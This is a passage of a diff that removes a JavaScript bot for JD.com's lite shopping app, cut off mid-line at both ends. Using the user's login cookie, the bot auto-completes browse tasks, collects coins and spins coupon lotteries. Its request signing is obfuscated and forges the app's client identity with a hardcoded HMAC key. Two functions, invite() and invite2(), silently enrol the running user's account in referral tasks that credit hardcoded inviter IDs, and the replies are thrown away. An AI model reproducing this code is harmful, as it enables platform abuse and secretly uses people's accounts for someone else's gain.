"marketTaskRewardPayment", - "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) - } else { - console.log(`任务完成失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function queryJoy() { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.taskBubbles) - for (let task of data.data.taskBubbles) { - await rewardTask(task.id, task.activeType) - await $.wait(500) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function rewardTask(id, taskId) { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', { - "method": "joyTaskReward", - "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - $.score += data.data.reward - console.log(`气泡收取成功,获得${data.data.reward}金币`) - } else { - console.log(`气泡收取失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -async function queryItem(activeType = 1) { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', { - "method": "queryNextTask", - "data": {"channel": 1, "activeType": activeType} - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data) { - await startItem(data.data.nextResource, activeType) - } else { - console.log(`商品任务开启失败,${data.message}`) - $.canStartNewItem = false - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function startItem(activeId, activeType) { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', { - "method": "enterAndLeave", - "data": { - "activeId": activeId, - "clientTime": +new Date(), - "channel": "1", - "messageType": "1", - "activeType": activeType, - } - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data) { - if (data.data.taskInfo.isTaskLimit === 0) { - let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo - if (activeType !== 3) - videoBrowsing = activeType === 1 ? 5 : 10 - console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) - await $.wait(videoBrowsing * 1000) - await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") - } else { - console.log(`${$.taskName}任务已达上限`) - $.canStartNewItem = false - } - } else { - $.canStartNewItem = false - console.log(`${$.taskName}任务开启失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', - { - "method": "enterAndLeave", - "data": { - "channel": "1", - "clientTime": +new Date(), - "uuid": uuid, - "videoTimeLength": videoTimeLength, - "messageType": "2", - "activeType": activeType, - "activeId": activeId - } - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.isSuccess) { - await rewardItem(uuid, activeType, activeId, videoTimeLength) - } else { - console.log(`${$.taskName}任务结束失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', - { - "method": "rewardPayment", - "data": { - "channel": "1", - "clientTime": +new Date(), - "uuid": uuid, - "videoTimeLength": videoTimeLength, - "messageType": "2", - "activeType": activeType, - "activeId": activeId - } - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.isSuccess) { - $.score += data.data.reward - console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) - } else { - console.log(`${$.taskName}任务失败,${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function cash() { - return new Promise(resolve => { - $.get(taskUrl('MyAssetsService.execute', - {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.total = data.data.goldBalance - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 大转盘 -function wheelsHome() { - return new Promise(resolve => { - $.get(taskGetUrl('wheelsHome', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code ===0){ - console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) - while(data.data.lotteryChances--) { - await wheelsLottery() - await $.wait(500) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 大转盘 -function wheelsLottery() { - return new Promise(resolve => { - $.get(taskGetUrl('wheelsLottery', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.data && data.data.rewardType){ - console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) - message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` - }else{ - console.log(`幸运大转盘抽奖获得:空气`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 大转盘任务 -function apTaskList() { - return new Promise(resolve => { - $.get(taskGetUrl('apTaskList', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code ===0){ - for(let task of data.data){ - // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} - if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ - console.log(`去做任务${task.taskTitle}`) - await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 大转盘做任务 -function apDoTask(taskType,taskId,channel,itemId) { - // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) - return new Promise(resolve => { - $.get(taskGetUrl('apDoTask', - {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.finished){ - console.log(`任务完成成功`) - }else{ - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 红包大富翁 -function richManIndex() { - return new Promise(resolve => { - $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.userInfo){ - console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) - while(data.data.userInfo.randomTimes--){ - await shootRichManDice() - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 红包大富翁 -function shootRichManDice() { - return new Promise(resolve => { - $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ - message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` - console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) - }else{ - console.log(`红包大富翁抽奖:获得空气`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) - -function taskGetUrl(function_id, body) { - return { - url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': "application/x-www-form-urlencoded", - "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" - } - } -} - -function invite2() { - let t = +new Date() - let inviterId = [ - "5V7vHE23qh2EkdBHXRFDuA==", - "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", - "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", - "wXX9SjXOdYMWe5Ru/1+x9A==", - "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=" - ][Math.floor((Math.random() * 5))] - let headers = { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://assignment.jd.com', - 'accept-language': 'zh-cn', - 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': `https://assignment.jd.com/?inviterId=${encodeURIComponent(inviterId)}`, - 'Cookie': cookie - } - - let dataString = `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${encodeURIComponent(inviterId)}","type":1}}&appid=market-task-h5&uuid=&_t=${t}`; - - var options = { - url: 'https://api.m.jd.com/', - headers: headers, - body: dataString - } - $.post(options, (err, resp, data) => { - // console.log(data) - }) -} - -function invite() { - let t = +new Date() - let inviterId = [ - "5V7vHE23qh2EkdBHXRFDuA==", - "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", - "wXX9SjXOdYMWe5Ru/1+x9A==", - "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=", - "YQ5wwbSWDzNIudDC2OWvSw==", - "+vbK7QKOtpHM4dsSRqUPPX/11g/P71iBYh46dyiMuKk=", - "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=" - ][Math.floor((Math.random() * 7))] - var headers = { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://invite-reward.jd.com', - 'accept-language': 'zh-cn', - 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': 'https://invite-reward.jd.com/', - 'Cookie': cookie - }; - - var dataString = `functionId=InviteFriendChangeAssertsService&body={"method":"attendInviteActivity","data":{"inviterPin":"${encodeURIComponent(inviterId)}","channel":1,"token":"","frontendInitStatus":""}}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`; - var options = { - url: `https://api.m.jd.com/?t=${t}`, - headers: headers, - body: dataString - }; - $.post(options, (err, resp, data) => { - // console.log(data) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 